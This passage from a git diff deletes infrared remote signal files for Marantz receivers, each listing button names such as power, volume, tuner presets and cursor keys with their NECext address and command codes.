00 -command: 77 00 00 00 -# -name: ASPECT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 7D 00 00 00 -# -name: ASPECT_-FULL -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 7E 00 00 00 -# -name: ASPECT_-SQUEEZE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 7E 00 00 00 -# -name: FULL -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 7E 00 00 00 -# -name: FULL_(ASPECT) -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 7E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/0,-1.ir deleted file mode 100644 index 8a84c4028..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/0,-1.ir +++ /dev/null @@ -1,218 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: TUNE/SEARCH_FWD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: TUNE/SEARCH_BACK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: OSD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: TV_VOLUME_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: TV_VOLUME_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: CHUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: PRESET_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: CH/SKIP_FWD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: CHAN_/_CAT_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: CHDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: PRESET_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: CH/SKIP_BACK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: CHAN_/_CAT_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: MEMO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2E 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 31 00 00 00 -# -name: INPUT/DISC+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3F 00 00 00 -# -name: AMP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3F 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3F 00 00 00 -# -name: INPUT_-_TV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3F 00 00 00 -# -name: INPUT:_TV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3F 00 00 00 -# -name: MENU_OFF -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 53 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/12,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/12,-1.ir deleted file mode 100644 index 2152279cd..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/12,-1.ir +++ /dev/null @@ -1,32 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: LD -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 3F 00 00 00 -# -name: LASER_DISC -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 3F 00 00 00 -# -name: INPUT:_LD -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 3F 00 00 00 -# -name: LD_DISC_B/- -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 72 00 00 00 -# -name: LD_DISC_+/A -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 73 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/16,-1.ir deleted file mode 100644 index a63509ab8..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/16,-1.ir +++ /dev/null @@ -1,716 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_ON/OFF -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0C 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0C 00 00 00 -# -name: M-POWER -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0C 00 00 00 -# -name: SOURCE_ON/OFF -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0C 00 00 00 -# -name: POWER_(TOGGLE) -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0C 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0D 00 00 00 -# -name: MUTE_ON/OFF -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0D 00 00 00 -# -name: AUDIO_MUTE_-_ATT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0D 00 00 00 -# -name: OSD_INFO -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0F 00 00 00 -# -name: OSD -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0F 00 00 00 -# -name: 0EN4 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0F 00 00 00 -# -name: OSD_INFO._DISPLAY -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0F 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0F 00 00 00 -# -name: AMP_-_OSD -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0F 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 10 00 00 00 -# -name: MAIN_VOL_UP -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 10 00 00 00 -# -name: MASTER_VOLUME_UP -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 10 00 00 00 -# -name: VOL+ -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 10 00 00 00 -# -name: VOL_+ -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 10 00 00 00 -# -name: MAIN_VOLUME_UP -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 10 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 11 00 00 00 -# -name: MAIN_VOL_DOWN -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 11 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 11 00 00 00 -# -name: MASTER_VOLUME_DOWN -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 11 00 00 00 -# -name: VOL- -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 11 00 00 00 -# -name: VOL_- -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 11 00 00 00 -# -name: MAIN_VOLUME_DOWN -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 11 00 00 00 -# -name: BASS_+ -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 16 00 00 00 -# -name: BASS_++ -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 16 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 16 00 00 00 -# -name: BASS_UP -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 16 00 00 00 -# -name: BASS+ -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 16 00 00 00 -# -name: BASS_- -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 17 00 00 00 -# -name: BASS-- -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 17 00 00 00 -# -name: BASS_DOWN -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 17 00 00 00 -# -name: BASS- -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 17 00 00 00 -# -name: TREBLE_+ -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 18 00 00 00 -# -name: TREB_++ -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 18 00 00 00 -# -name: TREB_+ -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 18 00 00 00 -# -name: TREBLE_UP -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 18 00 00 00 -# -name: TREBLE- -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 18 00 00 00 -# -name: TREBLE+ -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 18 00 00 00 -# -name: TREBLE_- -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 19 00 00 00 -# -name: TREB-- -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 19 00 00 00 -# -name: TREB_- -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 19 00 00 00 -# -name: TREBLE_DOWN -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 19 00 00 00 -# -name: TREBLE+ -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 19 00 00 00 -# -name: TREBLE- -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 19 00 00 00 -# -name: BALANCE_RIGHT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 1A 00 00 00 -# -name: BAL_> -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 1A 00 00 00 -# -name: BALANCE_LEFT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 1B 00 00 00 -# -name: DC_TRIGGER-1_ON -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 1B 00 00 00 -# -name: BAL_< -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 1B 00 00 00 -# -name: SPEAKER_SEL. -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 1D 00 00 00 -# -name: SPKR_MODE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 1D 00 00 00 -# -name: SPKR_A/B -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 1D 00 00 00 -# -name: SPKR_A_/_B -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 1D 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 1D 00 00 00 -# -name: SPEAKER_A-B -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 1D 00 00 00 -# -name: SOURCE_DIRECT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 22 00 00 00 -# -name: SOURCE_DIRECT_-_PURE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 22 00 00 00 -# -name: PURE_DIRECT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 22 00 00 00 -# -name: P._DIRECT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 22 00 00 00 -# -name: MODE_-_DIRECT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 22 00 00 00 -# -name: DIRECT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 22 00 00 00 -# -name: S-DIRECT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 22 00 00 00 -# -name: SPEAKER_A_ON/OFF -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 23 00 00 00 -# -name: SPEAKER-A_ON/OFF -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 23 00 00 00 -# -name: SORROUND_MODE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 25 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 25 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 25 00 00 00 -# -name: SURROUND_MODE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 25 00 00 00 -# -name: SURROUND -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 25 00 00 00 -# -name: MODE_-_SURROUND -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 25 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 26 00 00 00 -# -name: SPEAKER_B_ON/OFF -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 27 00 00 00 -# -name: SPEAKER-B_ON/OFF -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 27 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 50 00 00 00 -# -name: CURSOR_+ -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 50 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 50 00 00 00 -# -name: UP_ARROW -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 50 00 00 00 -# -name: CURSOR_-_UP -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 50 00 00 00 -# -name: SELECT_DOWN -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 50 00 00 00 -# -name: SELECT_UP -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 50 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 50 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 51 00 00 00 -# -name: CURSOR- -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 51 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 51 00 00 00 -# -name: DOWN_ARROW -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 51 00 00 00 -# -name: CURSOR_-_DOWN -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 51 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 51 00 00 00 -# -name: OK/OSD_MENU -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 52 00 00 00 -# -name: OSD_MENU_ON/OK -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 52 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 52 00 00 00 -# -name: ARROW_ENTER -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 52 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 52 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 52 00 00 00 -# -name: AMP_-_ENTER -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 52 00 00 00 -# -name: AMP_-_MENU -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 52 00 00 00 -# -name: CURSOR_SELECT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 52 00 00 00 -# -name: CURSOR_OK -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 52 00 00 00 -# -name: CURSOR_-_OK -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 52 00 00 00 -# -name: EXIT_MENU -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 53 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 53 00 00 00 -# -name: AMP_-_MENU_OFF -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 53 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 55 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 55 00 00 00 -# -name: LEFT_ARROW -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 55 00 00 00 -# -name: CURSOR_-_LEFT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 55 00 00 00 -# -name: SELECT_LEFT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 55 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 55 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 56 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 56 00 00 00 -# -name: RIGHT_ARROW -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 56 00 00 00 -# -name: CURSOR_-_RIGHT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 56 00 00 00 -# -name: SELECT_RIGHT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 56 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 56 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 57 00 00 00 -# -name: ENTER_(OK) -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 57 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/17,-1.ir deleted file mode 100644 index 023f5c00b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/17,-1.ir +++ /dev/null @@ -1,1130 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: (TUNER-1)_0 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 00 00 00 00 -# -name: TUNER1-0 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 00 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 00 00 00 00 -# -name: [TUNER-1]_0 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 00 00 00 00 -# -name: 0_TUNER -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 00 00 00 00 -# -name: TUNER_-_0 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 00 00 00 00 -# -name: (TUNER-1)_1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 01 00 00 00 -# -name: TUNER1-1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 01 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 01 00 00 00 -# -name: [TUNER-1]_1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 01 00 00 00 -# -name: 1_TUNER -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 01 00 00 00 -# -name: TUNER_-_1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 01 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 01 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 01 00 00 00 -# -name: (TUNER-1)_2 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 02 00 00 00 -# -name: TUNER1-2 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 02 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 02 00 00 00 -# -name: [TUNER-1]_2 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 02 00 00 00 -# -name: 2TUNER -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 02 00 00 00 -# -name: TUNER_-_2 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 02 00 00 00 -# -name: (TUNER-1)_3 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 03 00 00 00 -# -name: TUNER1-3 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 03 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 03 00 00 00 -# -name: [TUNER-1]_3 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 03 00 00 00 -# -name: 3_TUNER -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 03 00 00 00 -# -name: TUNER_-_3 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 03 00 00 00 -# -name: (TUNER-1)_4 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 04 00 00 00 -# -name: TUNER1-4 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 04 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 04 00 00 00 -# -name: [TUNER-1]_4 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 04 00 00 00 -# -name: 4_TUNER -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 04 00 00 00 -# -name: TUNER_-_4 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 04 00 00 00 -# -name: (TUNER-1)_5 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 05 00 00 00 -# -name: TUNER1-5 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 05 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 05 00 00 00 -# -name: [TUNER-1]_5 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 05 00 00 00 -# -name: 5_TUNER -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 05 00 00 00 -# -name: TUNER_-_5 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 05 00 00 00 -# -name: (TUNER-1)_6 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 06 00 00 00 -# -name: TUNER1-6 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 06 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 06 00 00 00 -# -name: [TUNER-1]_6 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 06 00 00 00 -# -name: 6_TUNER -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 06 00 00 00 -# -name: TUNER_-_6 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 06 00 00 00 -# -name: (TUNER-1)_7 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 07 00 00 00 -# -name: TUNER1-7 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 07 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 07 00 00 00 -# -name: [TUNER-1]_7 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 07 00 00 00 -# -name: 7_TUNER -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 07 00 00 00 -# -name: TUNER_-_7 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 07 00 00 00 -# -name: (TUNER-1)_8 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 08 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 08 00 00 00 -# -name: TUNER1-8 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 08 00 00 00 -# -name: [TUNER-1]_8 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 08 00 00 00 -# -name: 8_TUNER -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 08 00 00 00 -# -name: TUNER_-_8 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 08 00 00 00 -# -name: (TUNER-1)_9 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 09 00 00 00 -# -name: TUNER1-9 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 09 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 09 00 00 00 -# -name: [TUNER-1]_9 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 09 00 00 00 -# -name: 9_TUNER -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 09 00 00 00 -# -name: TUNER_-_9 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 09 00 00 00 -# -name: (TUNER-1)FRQ._DIRECT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0B 00 00 00 -# -name: TUNER1_FREQ._DIRECT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0B 00 00 00 -# -name: DIRECT_TUNE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0B 00 00 00 -# -name: [TUNER-1]_F-DIRECT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0B 00 00 00 -# -name: FREQ._DIRECT_(TUNER) -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0B 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0B 00 00 00 -# -name: F/P -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0B 00 00 00 -# -name: FREQ._DIRECT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0B 00 00 00 -# -name: SOURCE_ON/OFF -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0C 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0C 00 00 00 -# -name: DISPLAY_MODE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0F 00 00 00 -# -name: T.DISP_/_PAUSE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0F 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0F 00 00 00 -# -name: TUNER:_DISP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0F 00 00 00 -# -name: (TUNER-1)_TUNING_+ -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1E 00 00 00 -# -name: TUNE>> -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1E 00 00 00 -# -name: TUNER1_FREQ._TUNE_+ -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1E 00 00 00 -# -name: TUNE_+ -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1E 00 00 00 -# -name: TUNE_UP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1E 00 00 00 -# -name: [TUNER-1]_FREQ+ -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1E 00 00 00 -# -name: TUNING_+ -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1E 00 00 00 -# -name: TUNER_>>_TUNING_+ -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1E 00 00 00 -# -name: SCAN_+ -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1E 00 00 00 -# -name: TUNER:_FREQUENCY_+ -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1E 00 00 00 -# -name: TUNER_FREQUENCY_+ -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1E 00 00 00 -# -name: SEEK_UP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1E 00 00 00 -# -name: TUNING_UP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1E 00 00 00 -# -name: (TUNER-1)_TUNING_- -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1F 00 00 00 -# -name: F0 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1F 00 00 00 -# -name: TUNE<< -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1F 00 00 00 -# -name: TUNER1_FREQ._TUNE_- -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1F 00 00 00 -# -name: TUNE_- -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1F 00 00 00 -# -name: TUNE_DOWN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1F 00 00 00 -# -name: [TUNER-1]_FREQ_- -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1F 00 00 00 -# -name: TUNING_- -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1F 00 00 00 -# -name: TUNER_<> -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 20 00 00 00 -# -name: TUNER1_PRESET_+ -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 20 00 00 00 -# -name: CHANNEL_UP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 20 00 00 00 -# -name: CH+ -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 20 00 00 00 -# -name: [TUNER-1]PRESET+ -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 20 00 00 00 -# -name: PRESET_+ -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 20 00 00 00 -# -name: TUNER_>>I_PRESET_+ -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 20 00 00 00 -# -name: TUNER_-_PRESET+ -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 20 00 00 00 -# -name: FM/AM_+ -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 20 00 00 00 -# -name: TUNER:_PRESET_+ -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 20 00 00 00 -# -name: TUNER_PRESET_+ -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 20 00 00 00 -# -name: SKIP_UP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 20 00 00 00 